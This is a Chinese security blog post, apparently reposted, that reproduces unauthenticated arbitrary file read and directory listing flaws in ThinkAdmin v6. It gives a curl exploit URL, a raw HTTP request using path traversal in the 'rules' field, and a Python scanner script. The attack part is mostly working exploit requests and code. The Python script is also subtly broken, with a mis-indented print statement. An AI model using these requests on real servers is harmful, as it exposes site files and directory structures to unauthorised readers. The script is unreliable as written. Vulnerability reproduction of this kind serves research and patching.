ThinkAdmin v6 未授权列目录/任意文件读取复现

admin 2020年9月25日13:58:55评论679 views字数 1013阅读3分22秒阅读模式

大佬的审计文章:https://github.com/zoujingli/ThinkAdmin/issues/244

文章及POC仅供学习与研究,作者不负任何责任。请勿用于非法测试!!


任意文件读取

POC

curl http://127.0.0.1/admin.html?s=admin/api.Update/get/encode/1a1a1b1a1a1b1a1a1b2t382r1b342p37373b2s

复现

读取文件的文件路径需要加密

ThinkAdmin v6 未授权列目录/任意文件读取复现

不懂PHP,百度了一下这几个函数的用法,知道大概加密的流程。

ThinkAdmin v6 未授权列目录/任意文件读取复现

编写脚本

再根本加密流程和请求方式写一个Python脚本,骗个关注:微信公众号:T9Sec  回复:ThinkAdmin          获取POC ThinkAdmin v6 未授权列目录/任意文件读取复现

ThinkAdmin v6 未授权列目录/任意文件读取复现

ThinkAdmin v6 未授权列目录/任意文件读取复现


未授权列目录

POC

POST /admin.html?s=admin/api.Update/node HTTP/1.1
Host: 就不告诉你:)
Connection: close
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36 Edg/85.0.564.51
Content-Length: 11

rules=["/"]

复现

路径根据网站来进行目录穿越 rules=["../../../"]

ThinkAdmin v6 未授权列目录/任意文件读取复现

写个POC 应该能够 300 字原创了

import requests,sys

def poc(url):
    u = url+"/admin.html?s=admin/api.Update/node"
    data = {'rules':'["/"]'}

    r = requests.post(u,data=data)
    if r.status_code == 200:
        if "获取文件列表成功" in r.text:
        print("[+] %s 存在未授权列目录" % url)
    else:
        print("[-] %s 不存在漏洞" %url)

if __name__ == "__main__":
    if len(sys.argv) == 2:
        poc(sys.argv[1])
    else:
        print("Usage: python poc.py http://127.0.0.1")

ThinkAdmin v6 未授权列目录/任意文件读取复现


  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2020年9月25日13:58:55
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ThinkAdmin v6 未授权列目录/任意文件读取复现https://cn-sec.com/archives/142089.html

发表评论

匿名网友 填写信息